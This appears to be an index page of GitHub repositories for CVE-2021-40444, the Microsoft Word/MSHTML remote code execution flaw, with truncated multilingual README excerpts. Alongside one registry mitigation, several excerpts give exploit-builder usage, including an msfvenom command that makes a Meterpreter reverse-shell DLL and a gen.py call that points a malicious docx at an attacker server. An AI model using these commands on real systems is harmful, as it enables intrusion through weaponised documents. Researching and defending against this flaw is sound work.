CVE-2021-40444

Microsoft MSHTML 원격 코드 실행 취약점 CVE-2021-40444 개별 시스템에서 ActiveX 컨트롤을 비활성화하는 방법? 1. 모든 영역에서 Internet Explorer의 ActiveX 컨트롤 설치를 비활성화하려면 다음을 텍스트 파일에 붙여넣고 .reg 파일 확장자로 저장하세요: Windows Registry Editor Version 5.00 HKEYLOCALMACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet...

CVE-2021-40444-Microsoft-Office-Word-Remote-Code-Execution-

CVE-2021-40444-Microsoft-Office-Word-Remote-Code-Execution-...

MSHTML-CVE-2021-40444

https://github.com/lockedbyte/CVE-2021-40444 実際のREADMEはNotREADME.mdを確認してください 小さな調整を行い、プロセスを自動化しました DLLをお持ちの場合 sudo bash run.sh -i interface -d dll DLLをコンパイルしてほしい場合 sudo bash run.sh -i interface -c "command"...

CVE-2021-40444_EXP_JS

このリポジトリには README がありません。...

CVE-2021-40444-docx-Generate

CVE-2021-40444 docx 생성 .docx를 생성하여 CVE-2021-40444 Microsoft Office Word 원격 코드 실행를 악용합니다. 1. 빈 docx 파일을 생성합니다. 2. "Insert/Object" 메뉴에서 "Bitmap Image" 객체를 추가합니다. Add Object...

CVE-2021-40444-POC

CVE-2021-40444-POC 尝试使用 Metasploit Framework 复现 Microsoft MSHTML 远程代码执行（RCE）漏洞。 最好不要在 FlareVM 中运行 准备 从 https://github.com/lockedbyte/CVE-2021-40444 Git 克隆仓库 准备稍后与 msfvenom 一起使用的 .dll 模板 msfvenom -p windows/meterpreter/reversetcp lhost= lport= -f dll -o template.dll 将刚刚生成的 template.dll 复制到仓库中的 tes...

TIC4301_Project

TIC4301Project TIC4301 项目 - CVE-2021-40444 下载以下 Vagrant 镜像： Kali - https://drive.google.com/file/d/1RegQcT2jjFoaQRgLjXDYl4iS0HNtmU2/view?usp=sharing Win10 - https://drive.google.com/file/d/1zcLertRoI-FrHDkRq1NO-KHaF88bMv6e/view?usp=sharing 通过 Vagrant 使用以下命令导入镜像： 1. vagrant box add kalipackage.box...

CVE-2021-40444-docx-Generate

Генерация docx для CVE-2021-40444 Генерация docx для эксплуатации CVE-2021-40444 удалённое выполнение кода в Microsoft Office Word 1. создайте пустой файл .docx. 2. добавьте объект «Bitmap Image» в меню «Insert/Object». 3. сохраните и распакуйте docx. 4. измените word/rels/document.xml.rels 5...

CVE-2021-40444-Sample

CVE-2021-40444-示例 CVE-2021-40444 示例...

CVE-2021-40444

CVE-2021-40444 使用方法 最初に setup.sh を実行してください。いくつかのディレクトリが必要になります。スクリプトを実行すると、以下の例で gen.py を実行できるようになります:- root@kitploit: Usage python3 gen.py -d document/Sample.docx -p payload/payload.dll -i "http://10.10.10.10" -t html/template.html -c payload.cab -f nothing.inf -r Sample2.docx -obf 3 Flag -d - O...

cve-2021-40444-analysis

CVE-2021-40444 분석 이 저장소에는 Immersive Labs가 분석 중에 복구한 CVE-2021-40444의 디난독화된 익스플로잇 코드가 포함되어 있습니다. 이 저장소는 https://immersivelabs.com/resources/blog/analyzing-the-cve-2021-40444-exploit/에서 찾을 수 있는 블로그 기사를 지원합니다...

CVE-2021-40444

CVE-2021-40444...

Exploit-PoC-CVE-2021-40444-inject-ma-doc-vao-docx

CVE-2021-40444 PoC CVE-2021-40444 Microsoft Office Word 원격 코드 실행을 악용하는 악성 docx 생성기 이 스크립트는 실제 공격에 사용된 샘플938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 docx 파일에 대한 리버스 엔지니어링을 기반으로 제작되었습니다. 먼저 lcab을 설치해야 합니다 sudo apt-get install lcab 수동 재현 절차는 REPRODUCE.md를 확인하세요 생성된 cab이 작동하지 않으면...

CVE-2021-40444

CVE-2021-40444 CVE-2021-40444 POC -----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAu0enjPUx4R0+zWyY4FEI 0LUeiAJecPz6iDPdMRiIQHBPZBxKH7A+losAu7DB9IoY1GnGvFJzA1G4UkK6n/rg 2r65Ym3SloHoov/IxC2qcyz1UBftD0HBR8KE9Yy84k1sYIdNzKeWPQETY9UqEEy/...

CVE-2021-40444-exp

CVE-2021-40444 PoC Generatore di docx maliziosi per sfruttare CVE-2021-40444 Esecuzione di codice remoto in Microsoft Office Word La creazione di questo script si basa su un po' di reverse engineering del campione utilizzato in-the-wild:...

CVE-2021-40444_builders

CVE-2021-40444 Builder Dieses Repository enthält Builder für CAB-Dateien, HTML-Dateien und DOCX-Dateien für den Exploit CVE-2021-40444. Dieses Repository dient ausschließlich Test-, Forschungs- und Bildungszwecken. Du bist selbst dafür verantwortlich, wie du den Code aus diesem Repository...

Microsoft-Office-Word-MSHTML-Remote-Code-Execution-Exploit

Microsoft-Office-Word-MSHTML-Remote-Code-Execution-Exploit CVE-2021-40444 EXPLOIT का उपयोग METASPLOIT में करने के लिए, हमलावरों को MICROSOFT OFFICE WORD के माध्यम से REMOTE CODE EXECUTION प्राप्त करने की अनुमति देता है, फ़ाइल में दुर्भावनापूर्ण कोड इंजेक्ट करके...

Docx-Exploit-2021

Docx-Exploit-2021 Questo exploit docx utilizza i file res all'interno del file Microsoft .docx per eseguire file dannosi. Questo exploit è correlato a CVE-2021-40444 Se non riesci a riprodurlo Contattami su Telegram: LazarusRebor...

CVE-2021-40444--CABless

Versione CABless di CVE-2021-40444 Aggiornamento: Codice modificato in modo da non dover fare affidamento sugli archivi CAB il file "index.html" che attiva l'esecuzione del payload conterrà solo 1 linea di codice, all'interno del tag 'script': È fornito un articolo in formato PDF. Aggiornamento:...

Follina-CVE-and-CVE-2021-40444

Explorando as Vulnerabilidades Follina CVE e CVE-2021-40444 Sumário 1. Introdução 2. Pré-requisitos 3. Configuração e Instalação 4. Uso 5. Explicação Detalhada 6. Comandos 7. Aviso Legal Introdução Este repositório contém scripts e recursos para explorar as vulnerabilidades Follina CVE e...